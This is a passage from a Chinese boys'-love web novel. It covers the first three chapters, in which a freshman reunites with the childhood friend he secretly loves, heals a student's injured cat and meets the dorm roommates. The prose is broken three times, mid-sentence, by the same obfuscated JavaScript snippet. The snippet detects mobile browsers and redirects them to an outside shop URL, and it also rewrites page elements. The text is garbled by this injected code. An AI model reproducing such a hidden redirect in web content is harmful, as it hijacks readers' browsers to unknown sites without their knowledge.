《谁说我不喜欢你?》 1. 许个愿,希望厌同竹马也喜欢我 001/东山花灯 八月底,烈日正浓。 出了末伏的天热得令人不愿在阳光下驻足。 连呼吸都是烫的。 蝉鸣撕心裂肺,校门口的一片树荫下,曲柚撑着把黑伞,长腿微曲坐在黑色硬壳行李箱上,旁边还立着个小一号的银色行李箱。 正值云川省top3大学——A大的开学季,路过来往的学生和家长们从校门口经过,会给那个在路旁打伞半遮着脸、看不到正脸的男生一个疑惑的眼神,然后在滚烫的气温下,互相催着赶紧往学校里走。 余光里只能闪过那朵黑色伞面下线条柔和的下巴、白衬衫短袖下露出的小臂和攀附在黑色伞柄上细长的手指,白到发光。 像一颗干净又直挺的植物,慵懒放松地倚在那里,一眼看过去就会感受到宁静的气场。 偶有一两个新生学妹看到那个伞下的男生,眼神一亮,然后被羞怯的情绪压下,只装作不经意地看一眼过去,继续和身边的家长走远——没关系,来日方长。 学妹们不好意思出动,学姐们无所畏惧。 曲柚停在这里给竹马发了消息后没有五分钟,已经婉拒了三四个过来加联系方式的女生。 和两三个不知道为什么也来凑热闹要微信的男生。 突然手机一震,曲柚垂眸扫了眼屏幕,抬手抹掉额头的薄汗。 消息提示里弹出微信最新信息。 【来了,看到你了。】 好哎,救星来了。曲柚反射性地抬眼向周围张望。 比他抬眼先一步看见竹马的,是耳边忽然出现的小声嘈杂,像是有颗小石子投入湖面,溅起一串水珠和涟漪震荡。 凑在一起的几个女生压低惊讶的声音,刚好传入了不远处曲柚的耳朵里。 “哇,好帅!他是哪个系的学长啊?” “你不知道么?金融系的肖承风,论坛里有好多他的照片楼,据说他大一刚入学,就直接成了金融系的系草了。没想到本人比偷拍照片上的还帅,冷酷系帅哥绝绝子!不过这个攻略难度挺高的,人家是高冷学霸,跟他告白的男男女女能从宿舍楼排到大学门口,连校外生特意跑来想约他的都有,但都被他拒了,告白墙上现在还有天天对着他哀嚎的。”一个女生兴致勃勃地和同伴科普。 “有女生告白我不奇怪,还有男生?”同伴震惊。 “很正常啊,他这么帅,有男的觊觎他也是人之常情吧。” “惹,怪怪的。” 一个姑娘盯着引起人群视线集中的高大男生,和朋友蛐蛐道:“白衬衣,深锁骨,双开门宽肩窄腰大长腿,我要是男的,我高低也得上去追追他。” “别管在上在下,在一起我就血赚。” 几个女生小声笑作一团,有人打趣“你想的可真美,人家喜不喜欢男的还不一定呢。” 曲柚眼睫一颤,遮着眉眼的伞沿抬高,往女生们议论的方向看去,顺着她们的视线看到高大俊美的男生,眉眼深刻、肩宽腿长的,一眼就是顶级男模的身材。胸前的布料被下方的肌肉撑起,勾勒出若隐若现的结实弧度。 随便套个白衬衫都遮不住他蓬勃的男性荷尔蒙气息。 曲柚忍不住喉结滑动了一下。 心脏像是被人轻轻捏住,曲柚后知后觉地感到一点陌生的酸涩。 他比谁都清楚,肖承风对男人没有兴趣。 严格点说,他的竹马厌恶男同。 伞面升高,曲柚露出脸,抬手对竹马摇了摇,弯唇露出一个习惯性的微笑。 眉眼明明是精致冷淡款的男生,站在那里像是一株白水莲,但他冲人笑起来的模样,又像是春风划过湖面,带来柔软的芳香和明媚阳光。 是一个毫无忧虑的快乐笑容。 让人单是看着就会觉得内心柔软,一些怪姨姨可能会想上手捏他脸。 男生半长的微卷发丝被风吹得有些凌乱,可能是因为天气太热,在脑后简单扎了一个马尾小揪揪,一眼看过去,就像是学艺术的男生。 倒不是说其他系的男生长得不好,而是艺术系更容易出这种长得漂亮还会打扮的气质男生。 旁边几个刚才还兴奋地小声嘀咕的女生们顺着校草的方向看过来,看到那个伞下漂亮阳光的男生后,忽然沉默了。 清亮的女声再次发出叹息,“我靠,我真是个见异思迁的女人,这个小哥哥我也可以。” 另一人赞同,“你别说,我直接嗨老婆。” 曲柚耳朵好使,他这会儿听着别人议论自己,觉得耳根有点发烫。 “哥。”眼看竹马大步走过来时,他从行李箱上跳下来,叫了一声。 肖承风比他大三岁,他从小就习惯叫他哥哥了。 男生走到他身边,微微低头凑进他的伞下,遮挡住了别人的视线。 “等多久了?”一道微微冷淡的磁性声音响起,男生微微凌乱的发丝落下几缕垂在眼前,漫不经心地掩住了他眼底的神色,眼睑低垂。从正面看过去,肖承风右侧眼尾的一粒小红痣,硬控曲柚的视线两秒钟。 肖承风的身形本来就比曲柚宽大,这么一进来,本来还有空余的伞下空间顿时拥挤了起来。 属于男生身上特有的温热气息顿时占据了曲柚的感官。 带着盛夏的阳光气息,温热的,干净的,类似于麦草一般淡淡的青涩甘甜,无孔不入地钻入曲柚的鼻腔,让他有一瞬间晃神。 好像在亿万分之一秒的一瞬间,他幻想过深深埋入肖承风的怀里,去汲取那股让他沉醉的气息,不愿出来。 曲柚眨眨眼,抬高手腕把伞再次举高,让竹马不至于一直弯着腰站在伞下,“没多久,我也才到这里一会儿。” 肖承风抬手贴了贴曲柚的额头,又顺手摸了一把男生的脸蛋,很自然道,“都出汗了。先去宿舍吧,下午带你去办手续。”说完他一低头从伞下出去,很自然地一手拉一个行李箱,在曲柚面前带路。 他刚刚,靠的好近。自己刚才没有露出什么不应该出现的表情吧? 曲柚站在伞下立了几秒,眼睫颤了颤,等胸口的悸动平复下去了,才慢慢迈步跟上去。 是了,他喜欢肖承风。但他的发小并不是同道中人。 曲柚只知道一点模糊的原因,但他知道清晰的结果——他竹马厌同。 他和肖承风从小认识,小时候没少扒在竹马身上晃悠,抱抱背背、肚子疼了让哥哥帮忙给揉肚子的事也没少发生过,这种程度的接触在他们平时相处的日常中实在算不得什么。 但自从他发现自己的心思后,心里有鬼,自然就觉得虚得慌。 只能尽量表现得正常一些。 两人走后,站在原地目瞪口呆的几个女生,终于有一个出声了。 “好好好,所以帅哥都跟帅哥玩,是吧。”这是咬牙切齿的。 “不是说他高冷么?不是说他不谈对象么?这不是他对象我倒立唱跳姬你太美。”这是不可置信的。 “艹,我刚刚损失了一个老公和一个老婆,谁来补偿我?”这是痛心疾首的。 “无所谓,又有新西皮可以乱嗑了嘻嘻嘻嘻,饭饭好吃,代了。”这是拿着手机翻阅趁机抓拍的美图,嘴角上扬胡乱嗑粮的。 …… 一路上肖承风偶尔说几句话,大部分时间是曲柚在跟他分享暑假发生的一些事。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189036|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,曲柚能考进A大,可算得上是光宗耀祖的事。曲柚妈带着他回家祭祖,顺便请了一大桌亲戚吃饭,庆祝儿子考上国内一流大学。 舅妈家的儿子跟曲柚同一年高考,考试结果并不理想,今年他报考的第一选择专业分数上调,只勉强考上了个为了保底凑数填上去的专科院校。 舅妈从小就标榜自家的孩子比小姑子家那个光有一张漂亮脸蛋的孩子聪明,这回算是彻底打了脸。在曲柚妈坐在饭桌上举着酒杯高调表示感谢老祖宗坟头冒青烟保佑自家孩子时,舅妈当着一群亲戚的面只能努力扯着嘴角微笑,在桌下踢了一脚只知道闷头干饭的儿子。 看着毫无反应的儿子,舅妈的脸色更是僵硬得让人看了都替她难受。 ——至于为什么曲柚知道舅妈在桌下踢儿子,是因为舅妈准头有误,踢到他腿上了,那条腿上的淤青过了四五天才下去:) 曲柚抬眼看到身边男生的侧脸,对方一贯没什么表情,但此刻却能感受到他是在认真听他说话的。 曲柚咽下喉间的一句话:哥,我很想你。 但这样说真的很奇怪,兄弟之间一般不会说这么肉麻的话,而且他们只是一个学期没见而已。 他连带着压下心底那股仅仅是呆在竹马身边就生腾起的悸动,自觉仓惶地低头看着路面,只余一片涩然。 隔了有一会儿曲柚都没出声,肖承风就侧过头垂眼看了他一眼。 已经抽条长高到自己肩膀以上的兄弟,再也不是以前追在自己身后,跟屁小狗一样拉着自己衣角晃悠撒娇的模样。处于少年和青年之间的样貌冷清又漂亮,垂着眼眸沉默时,有种让人抱住他哄的冲动。 但肖承风依然看到了一丝曲柚小时候的样子——心里有委屈,又不想说出来,就像小闷嘴葫芦一样跟在自己身后,等着自己发现再去哄他。 结合前面曲柚跟他分享的事,肖承风眨了下眼,他明白了。 两人刚好走在林荫夹道的小路上,树下的温度不高,甚至能感受到一点微风穿过树叶带来的凉意。 肖承风放下手里的行李箱,转身抱住了曲柚。 两人之间的距离薄到只剩两层布料,丝毫不能阻挡身体自然散发的热意。胸口怦怦跳动的,说不清是自己的心跳,还是对方的心跳。 “……”曲柚蓦然顿住,好几秒后才找回自己的呼吸。 夏天吹了那么久的风停留在他身边,将他温柔笼罩。 在这一刻,曲柚觉得,如果能长久停留住就好了。 但风是不可能为某个人驻足的。 感官范围内全是男生的气息,没有怪怪的汗味,只有干净的、阳光和麦草混合的味道。 曲柚有点不敢置信,刚刚幻想过埋进竹马怀里,现在就实现了,这是真实的么? 他手指动了动,没忍住内心的鼓动,悄悄放在男生的腰间。皮肉的温度透过白衬衫的布料,传递到他指尖和掌心。 一阵安心。 “柚子,半年多没见,我很想你。” 曲柚埋在心底不敢说的话,此时被人平静地讲给自己听。 “还没跟你说过,恭喜顺利考入A大。”男生低沉磁性的声音响起在他耳边,温热的气息无意间喷到曲柚耳畔,让他耳后发痒。 “做得很棒,我就知道你可以的。”男生一手环着曲柚的肩膀,将人按进自己怀里,一手轻轻拍了拍曲柚微卷的头发。 谁也不知道,额头轻轻抵在他肩膀处、一副乖弟弟的样子的男生,正在心中虔诚许愿。 感谢不知道哪位神仙菩萨。 许个愿,希望厌同竹马也喜欢我。 这是可能的么?(╥╯^╰╥) 2. 咪宝!叫爹!说谢谢! 002/东山花灯 “唔……嗯。”曲柚只觉得自己身上发软,努力发出一些破碎的字音回应哥哥的夸奖肯定。 他不知道自己的声音听上去非常乖,像是奶狗崽子,被人轻抚后呜呜咽咽地缩在人怀里,想更靠近点,把自己团进对方怀里。 肖承风主动说想他哎,他还夸自己很棒! 曲柚毫不怀疑,如果自己长了一条尾巴,此时已经像一只快乐小狗一样尾巴用转起风扇了。 他好像成了没骨头的橡皮糖,被夏风蒸熏得神志恍惚、脚跟发软,半是僵硬半是瘫软地靠在肖承风怀里。 几乎用尽了全身力气和意志,曲柚才让自己稳稳站在原地,而不是直接将全身重量都压在竹马身上。 高考查分那天,曲柚还算镇定,他爸妈倒是一个比一个激动。开出成绩前,夫妻俩当场在电脑边点了一炷香,嘴里念念有词请菩萨保佑家里的孩子考上好大学。 开出成绩后,夫妻俩抱在一起流下了感动的泪水。 又对着电脑鞠躬感谢菩萨让他家儿子遇到一个好竹马,把他从班上吊车尾一路带到高考成绩超A大一本分数线十多分。 爸妈情绪高涨,曲柚也跟着他们笑。 曲妈妈双手捧着他的脸疯狂揉搓,把曲柚白嫩的脸蛋搓红后,甚至认真思考起了能不能把肖承风收养到自己家里给自己当儿子,两个孩子本来打小感情就好,干脆亲上加亲好了。 被情绪缓和下来的曲爸爸委婉劝退,打消了这个念头。 肖承风家里状况有点复杂,但人家的亲爹妈,好歹还是活着的,而且肖承风已经成年了,办不了领养手续。 曲妈妈很是熟练地给菩萨换上新的瓜果贡品,保佑小承和她儿子身体健康,学业顺利,俩人在大学找个好对象,提早解决人生大事。 听得曲柚在旁边眉心一跳一跳的。 所有人都在说,是曲柚撞了狗屎大运碰到一个好竹马,从小学开始帮他补习功课,一路补习进省内top3大学。 连曲柚自己也是这么觉得的。 只有肖承风会跟他说,他做的很棒、他就知道自己可以的。 眼眶突然泛热,曲柚把脸埋进男生的颈窝,眼皮贴在对方温热的肌肤上。 竹马顿了下,手掌笼住他的后脑揉了揉。 他一向是个有点迟钝的人,直到高三的暑假里,一次突发的事件,让他忽然明白了自己的心思。 他早就喜欢上了自己的竹马。 但竹马不喜欢男人。 如果被竹马知道了自己的心思……曲柚咽了咽口水,肖承风会像当初揍那个男人那样,把他这个“该死的同性恋”也揍进医院么? 曲柚内心有个小人在惊恐尖叫——“瞒住!给我死死瞒住!不要被揍进医院!我会永远失去他的!” “好热,快带我走啦。”曲柚抖了抖肩,催促男生,“哥。” 肖承风揉了揉他的头发,觉得把人安抚好了,顺势放开了他,拉起行李箱继续带人往宿舍走。 A大的男女宿舍是分开的,但通往宿舍的路径,有一段是相同的。 此时一个女生从路的对面朝他们快步走来,想跑又不敢跑,只能尽量迈大步伐,一副焦急的样子。 离近了才看见她眼圈湿红,一边抬手跟人打电话,一边抱着一团衣服,时不时看一眼怀里,控制不住地哽咽。 女生走近了,曲柚才看到,那坨衣服里露出一条僵直的白色尾巴,垂在女生胳膊边,因为颜色和女生衣服的颜色相似,从远处很难看出来。 抱着小动物的女生在哭。 “呜呜呜……怎么办啊,有人把小咪摔下阳台了,现在它张着嘴动不了。我刚才查,最近的一个宠物医院打车都得一个多小时,只有不到十五公里的路程,路上他妈堵、堵地要死……我怕小猫撑不了那么久……呜呜……”女生又气又怕,哭得打嗝。 电话那头似乎是女生的朋友,在尽力安抚女生的情绪。 匆匆而过的女生和曲柚他们擦肩而过,曲柚听到了女生电话里传来的一两声模糊的男声。 手机里的男声在说“别哭”什么的。 曲柚忍不住停下脚步,微微侧头看了眼女生怀里抱着的一团衣服。 “呜呜呜我怕啊……手术费不知道要多少钱,咪宝动都动不了,手术费肯定很贵,呜呜呜……我生活费也不多了,要是我交不起手术费,小猫是不是就得死在我面前了?” “我不要它死……呜呜……” 女生哭得肩膀在细细颤抖,但她还是竭力控制住自己手臂的动作幅度,不让小猫再受外界晃动的力,导致伤势更重。 “你过来接我好不好?你骑摩托来接我,这样肯定比打车要快……” “……不行,你必须来!别给我找那么多借口!你就想看我猫死是不是!”女声尖利,浓浓的攻击性背后是对于失去的恐惧。 即使已经走远了一些距离,还是有些刺耳。 肖承风拉着行李箱走在前面,忽有所觉,回头看向曲柚。 堪称漂亮的男生早在距离他三四步的地方就已停下,正半侧身回头看向那个刚才哭着走开的女生。微卷的额边发丝垂落下来,在他清晰的下颚线旁,被夏风挽着,微微晃动。 被浓密树荫割裂的碎光落在那个被太阳宠爱的男孩子颊边,摇晃跳跃,映出一层淡淡的绒光。 肖承风的视力很好,裸眼5.2。曲柚侧脸上,被光打出的睫毛阴影落在他琥珀色的眸子里,他都看的一清二楚。 他自然也能看到男生脸上一闪而过的犹豫,以及开口之后的一脸坦然。 “姐姐,我可以帮你看一下小猫哦。”他的语气很轻快,好像在他眼里这根本就不是什么生死攸关的难题。 于是肖承风停了下来。 他看了眼手里的行李,拉着一起再次迈腿,在曲柚身后一起往那个女生的方向走去。 女生凌乱匆忙的步伐一顿,转过头来,泪水糊了一脸,通红的眼珠死死盯着曲柚。 像是见到了救命稻草,但又不敢相信眼前这个过分漂亮年轻的男生真能帮她解决问题。 “我的猫从七楼摔下来了,现在全身、全身僵硬不能动,你,你能解决么?万一治不好,再给我的猫耽误死了,呃,你负得起责么呜呜呜——呃”女生打着哭嗝,越说越悲从中来。 到后面干脆情难自已,哭得双肩颤抖,鼻尖冒出一个透明的鼻涕泡,“它陪了我很久了,你不能治死它呜呜——” 站在她面前的两个男生,一个是闻名全校的金融系学霸校草,一个是漂亮精致的阳光男生,换做平时她可能会在帅哥面前心神荡漾,但她此刻全部的心思都被自己受伤的小猫所牵挂。 为它而大哭,毫不顾自己的形象。 曲柚弯着笑眼,开口就给了慌神的女生一颗定心丸,“姐姐别哭,我先看看,我就是兽医专业的学生,救助了不少小动物。” “如果我没把握治,我肯定让你去宠物医院。就占你两分钟,不会耽误小猫的。” 他带着笑意,轻松语气中有十足的把握,边说边伸手把女生怀里的一小团轻轻抱出来。 其实曲柚撒了个小谎,他确实要成为兽医专业的学生,但现在还不是。 他现在最多算个无证行医的半吊子江湖郎中。 不过把一只小猫从阎王面前拽回来,他也可以试一试。 女生被他笃定的语气安抚住,没那么慌了,也顺着力道松开僵硬的胳膊,让他把咪宝抱走。 曲柚半蹲下身,小心将衣服团平放在地上,纤长的手指灵巧地扒开堆叠的衣物,将里面裹着的小猫露了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189037|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才听女生说的话,猫的情况看起来像是高空坠落引发骨头错位,导致了神经性瘫痪。曲柚想先摸一摸脊骨,如果没有发生严重骨折,可能正一下骨就行。 女生还是有点不太放心,蹲在地上紧紧盯着那一小团猫,“要是不能治的话,你就放着,我待会儿叫我朋友来送他去医院。” 肖承风站在旁边淡淡搭了一句话,“你男朋友要赶过来也得一段时间吧。” 曲柚侧眼看了眼竹马,不愧是他哥,这怎么听出是男朋友的! 他完全没听到女生叫对面男朋友啊。 肖承风垂眼,看见了曲柚盯着自己闪光的狗狗眼,动了动手指。 女生顿时一噎,看了一眼被已经挂断的手机屏幕,冷脸怒骂,未褪的哭腔里夹杂着愤怒,“踏马的我没有这个sb男朋友了!……一提给猫出钱就装死——老娘再也不想看见他了!” 众人的目光齐齐聚集在衣物里不能动弹的小动物身上。 里面是一只两岁左右的奶牛猫,浑身漆黑,只带着四只白手套、和一条白尾巴,品相很漂亮。 但此刻小猫的状况却不太好——僵直着身体,肚子起伏急促,双眼无力地看着前方,眼角覆着一层透明泪水。 它伸出一小节舌头,无力地耷拉在嘴边,口水已经顺着嘴边流下不少,沾湿了嘴边的毛毛和一小片身下的衣物。 一副凶多吉少的样子。 女生无助的眼光投向此时唯一的救命稻草。 她不敢赌自己能在小猫坚持不住前带它赶到宠物医院,只能寄希望于这个自称能帮上忙的漂亮男生。 男生微垂着头,微卷的发丝从鬓边滑下几缕,专注地看着小猫,上手从猫的颈骨开始往下一点点摸索。 他浓密的长睫笔直,只在尾部微微上翘,给眼窝打下一片浓密的扇形阴影,浅淡的红唇吐出的字句很是安慰人心。 “安心啦姐姐,小问题,没摔坏骨头,只是脊骨错位了。” 这样轻松地说着,男生的手指陷入柔软的黑色毛发内,看似十分随意地一捏。 “小猫放松,不用紧张啊,马上就好了。” 男生的话还没落下尾音,奶牛小猫顿时蹬了蹬后腿,一个咕噜从地上爬了起来。 只是它像还没驯化好四肢似的,一边嘴里呜呜叫着,走路前后脚都分不好顺序,跌跌撞撞走向女生。 女生的泪珠还挂在脸上没擦干净,她张大嘴巴看着垂死病中惊坐起的小猫,双手下意识伸出,接住一头撞进自己手心里的小团子,愣了一声:“啊……啊?” 这就好了?? “嗯,没有大问题了,不放心的话后续可以打车带它去宠物医院看看还有没有什么小毛病,”男生点点头,笑眯眯道,弯起的琥珀色狐狸眼带着一点狡黠,“不用哭啦。” “女孩子哭多了对眼睛不好啊。” 脸上带着泪痕的姑娘看着面前人美心善的神医愣了两秒,哇地一声哭出来,抱起怀里的小猫就冲男生鞠躬。 “谢谢!谢谢!!神医啊!呜呜呜,以后你就是我们的再生义父!!” “咪宝!叫爹!说谢谢!” 一把举起似乎还在状况外的小猫。 曲柚:嗯?突然当新爹了? 脸上长着一颗标志白色丁丁花纹的小猫脸怼在漂亮男生的脸前,两双眼睛对视间,一人一猫都猝不及防。 小猫勾着尾巴,轻轻“咪呜”了一声,粉色的小舌头一晃而过。 旁边有人在对着他们举手机。 肖承风:“……” 高挑冷漠的学霸把蹲在地上笑眯眯摸小猫头的漂亮男生拉起来,握着人的手腕继续回到他们的路上。 他在心里轻轻吐了口气。 他有预感,过不了多久,这学校里,就遍地都是曲柚的义子了。 3. 一眼gay 003/东山花灯 跟着竹马回宿舍的路上,曲柚拎着已经收起捆好的伞,突然想起来什么,“啊”了一声。 竹马扭头,用眼神询问他。 男生微微歪头,清澈的琥珀色眼底有点遗憾:“那是只小公猫,还挂着铃铛的。忘了提醒它主人给它绝育了。” 曲柚从小接触小动物,偶尔会捡一些受伤或者可怜巴巴的动物幼崽回家,养好后再放出去。 曲家父母刚好愿意也有一定经济实力曲支持孩子纯善的心。 等他十多岁后,开始有了给流浪动物绝育的意识,没有一条撞进曲柚手里的流浪猫狗是带着弹夹离开的。 竹马沉默了一瞬,低声说:“……没事,下次碰到再说。” 曲柚欣然点头,“也是,学校就这么大点,总会碰到的。” 像是在说,‘没问题,早晚摘了它的蛋。’ 曲柚仰着脖子,听着前方的脚步声和行李箱滑轮滚动的声音,随着竹马的声音往前走,只管仰脸看遮在头顶的树梢。 树梢上停落的小鸟好奇地瞧着陌生人路过,然后又习以为常地忽视行人,扭头梳理羽毛。 摇曳的树枝间漏下的光点,在地面上形成明灭的光斑,轻轻晃动着。 曲柚行走在其中,心情雀跃,好像穿过太阳的旧时光。 肖承风回头,回去拉住某个快要走偏到树坑里去的男生,然后一手拉着人的手腕,一手将两个行李箱背对背并在一起,一起推着往前走。 像是拉着只跑出来撒欢的快乐小狗。 曲柚看了眼背对着自己的男生,又垂眼扫了眼握住自己手腕的大手。 指甲修剪得很干净的手筋骨分明,指节长而笔直,指骨突出,偶尔碎光掠过,像是沁着水头的润玉一般。 一根简单的黑色表带束在肖承风的手腕上,边缘处微微勒出肌肤的弧度。曲柚莫名觉得那表带禁欲又涩气。 如果这只手轻轻扣住自己的脖子,将自己拉向他…… 曲柚喉咙干涩,闭眼默念。 菩萨,他有罪。 他犯了看见竹马就春·心·荡·漾的罪。 * A大,商科院男宿舍楼三层,306男寝。 跟在肖承风身后,曲柚进了宿舍门。 正好是中午时间段,可能大家都去吃饭了,宿舍里没人。 相较于曲柚印象中的大学男寝来说,这件屋子已经足够干净整洁了。他都没看见男寝标配的臭袜子和脏鞋子。 标准四人间的宿舍里,曲柚站在宿舍里属于自己的床前,单手扒在床沿,看着正在忙活的竹马。 肖承风手臂很长,拎着床单一抖,双手往下压,把多余的床单边边塞进褥子下,唰唰两下抹平床单,就铺得很平整了。 曲柚仰着脸眼睛亮亮:“哥,我已经大了,我自己来就行。” 竹马依旧沉稳帅气,眉眼深邃冷淡,手上的活一点没停,“不用。” “这多辛苦你啊。我都18了还帮我铺床。”曲柚面上发热,心里暖暖的。 竹马瞥了他一眼,深黑的眸底早就看透了事情发展的规律,“没事,现在不帮,待会儿还是我来铺。” 曲柚:“……”暖暖的心,慢慢硬了。 生活技能差又不是他的错! 宿舍床的下铺是学习桌,上铺是床。 曲柚没问肖承风住哪张床,他一眼扫过,就知道。 他俩的床并排挨在一起。 属于竹马的那张学习桌的台灯底座上,摆着一个有神奇口袋的蓝胖子玩·偶摆件,睁着明亮的点漆眼睛,咧起大嘴,比出一个抬手打招呼的姿势,笑得很智慧——和旁边一排严肃的金融类专业书籍很不搭调。 那是曲柚在高二的暑假里,用娃娃机夹了四十多次,终于夹到的娃娃。 付出的金钱成本和收获极为不对等。 他把蓝胖子送给了肖承风,后来就没再见过。 没想到他哥把·玩·偶放宿舍书桌上了。 那他岂不是每天学习的时候,一抬眼就能看见蓝胖子?四舍五入,肖承风看见蓝胖子就会想到他。 仗着没人知道自己脑子里的想法,曲柚大胆假设,压根不求证。 天哪,他竹马天天都会想他! 曲柚弯了一下嘴角,又赶紧压唇,装作一脸淡定样。 殊不知正在拽被套的肖承风,一眼就看到了不知道正在美什么的曲柚。 男生正努力往下噘嘴,因为努力过头所以淡色的唇呈现出反拱的样子,^∩^。 虽然嘴没在笑,但那双桃花眼里早就亮晶晶得溢满了得意的笑意。 像偷吃了骨头的小狗。 肖承风:“……”算了,曲柚的思路他一贯跟不上。 他高兴就好。 “嘎哒”一声,宿舍门从外面被推开。 未见其人,先闻其声。 伴随着一声响亮的叫声,“义父!午饭回来了!”,曲柚从自己的思绪中脱离开,扭头看向门口。 看来竹马在宿舍的地位也很高啊。 “今天有糖醋排骨,我用美·色从食堂阿姨手里多骗到两勺!” 拎着几份盒饭的男生套着一身运动背心和宽松的长裤,看起来阳光帅气。 单眼皮高鼻梁,寸头丝毫不影响他的颜值,反而让他有种迷人的男子气概,小麦色的皮肤看起来很是健康。 此时他正一脸喜滋滋地把盒饭放到宿舍中间区域的长桌上。 “哎?这就是咱弟弟啊?”男生进来后也看到了曲柚,对他龇牙一笑,“长得真……”他有一瞬失语,目光在曲柚那张脸上徘徊了一下,缓缓叹道。 “真俊!” “谢谢哥,你也很帅哦。”曲柚眯眼笑,很上道地开始商业互捧。“你这种阳光帅气的才是真绝色!” 肖承风捏着被角抖了抖,垂眼瞥了下曲柚。 “啊哈哈哈哪里哪里,”男生笑得绷不住嘴,强压嘴角摆摆手,“弟弟嘴真甜,小嘴儿抹了蜜似的,肯定很招女孩子喜欢。” “介绍一下,我叫卓正阳,金融系大二生,你哥同学。你比我们都小,以后在学校有什么问题,随时叫我。” “正阳哥,”曲柚握住伸到面前的手摇了摇,笑得又乖又甜,眼睛弯成琥珀色的月牙,“我是曲柚。” “早知道你哥有个宝贝弟弟,不过他藏得紧,我们都不知道你长相和名字。”卓正阳招呼曲柚坐下吃饭,“小柚子快吃吧,你哥提前打过招呼,让我多带一份饭。” 好好好,看来竹马心里有他。 曲柚又开始大胆臆测,他高高兴兴坐下,“嘎嘣”掰开一次性筷子。就凭这哥们儿说的“宝贝弟弟”,他单方面判断这是个妙人! “大哥,来恰饭。”卓正阳喊床上蹲着的学神下来,扭开汽水瓶盖灌了一口,眼神不经意瞟过去,顿时瞪大了眼。 “噗!”一口冰可乐喷出来。 全校女生仰望的高岭之花·冰山学神·没有丝毫人情味·肖承风,正跪在宿舍单人床上,一副良家妇男的样子,给他弟弟叠被子。 “我艹,”他吓得语无伦次、痛心疾首,“你在干什么,我刚进来都没看你,爹你怎么还亲自铺上·床了?!” 曲柚有点如坐针毡,他知道,其他大学生都是自己照顾自己的,哪儿有像他这样的,上大学了还得竹马帮忙铺床。 实在太不像话了。 曲柚谴责自己像个巨婴。 “义父你这就是跟我见外了!怎么还当我面干上活了!”他啪地放下可乐,站起身义正言辞,“你置我于何地!” “宿舍里,这都是我的活,你的活,在课上和小组作业里!” 曲柚:“……” 肖承风已经把被子装好叠整齐,弯腰掀起自己床铺的床帘,从自己床上长腿一迈跳下来,显得很轻松。 “别发疯。”他挥手打掉试图摸上床沿的爪子,冷淡道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189038|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是我弟弟的床。” “什么叫发疯,你弟弟也是我弟弟,我弟弟的床铺就是我的床铺!”阳光帅气的男生拍拍胸膛,开始大聪明的发言。 等价代换是这么代换的么? 曲柚:“……”有点怪。不确定,再看看。 肖承风很平淡地看了表演欲旺盛卓正阳一眼。 深黑的眼睛犹如平静的深渊,连光线都会被摄取进去,看不出一点情绪。 卓正阳顿时怂了,“好嘛好嘛,你愿意干就你干。”他做作地噘着嘴,一屁股坐回饭前。 “现在不是我们当初同床共枕的时候了,现在你嫌弃我脏,怕我碰脏咱弟的床铺是吧。” 曲柚的耳朵顿时起立,什么同床共枕?竹马还和别人一起睡过? 他往嘴里随便塞了一口饭,小心且机警地瞄竹马的脸色。 脑袋上被温热的手按住搓了搓,“好好吃饭。” 曲柚耳根微微发热,他放下筷子,很贴心地给他哥打开饭盒,拆开筷子,顺手互相摩·擦了一下,去掉细小的木刺。 “如果不是你把螺蛳粉的汤整碗洒在床上,弄得屋里除了你别人都呆不了,我当初确实不会让你到我床上睡。”肖承风接过曲柚递给他的筷子,没什么情绪地解释给曲柚听。 “而且那一周是我把床铺借你睡,我到外面旅店睡了。齐昊也被你熏出去了,并没有你梦里的和谁同床共枕。” 卓正阳帅脸一窘,麦色的皮肤透出些许红色,“咳咳,螺蛳粉是无辜的嘛。你们都不懂螺蛳粉的魅力。” “一群没有饮食审美的家伙。” 肖承风简单嗯了一声,“你有。” 卓正阳沉默塞饭。可恶,看似赢了,但又好像被羞辱了。尤其还是在第一次见面的漂亮弟弟面前,被狠狠羞辱了! 曲柚低着头,仙男刨饭,嘴角快要翘到耳根了。 * 直到下午肖承风带曲柚办完入学手续,曲柚都没见到他们宿舍最后一个人。 直到晚上快9点了,最后一个舍友回来了。 齐昊进来的时候路过他床下,曲柚就闻到了一股清淡的男香味。 淡淡的柑橘和洋松作为前调,中后调是某种草木香,让人联想到初恋男生白色的衬衫,在初夏的微风里飘动。 齐昊也是个高个帅哥,用慕斯抓了头发造型,白衬衫下露出的胳膊有着线条漂亮的肱二头肌。 齐昊的眼睛扫过来,对上趴在上铺的曲柚的视线,目光凝了一下,随后弯了弯眼。 曲柚觉得自己被他勾了一眼似的。 “承风,这就是你弟弟吧?挺好看。” 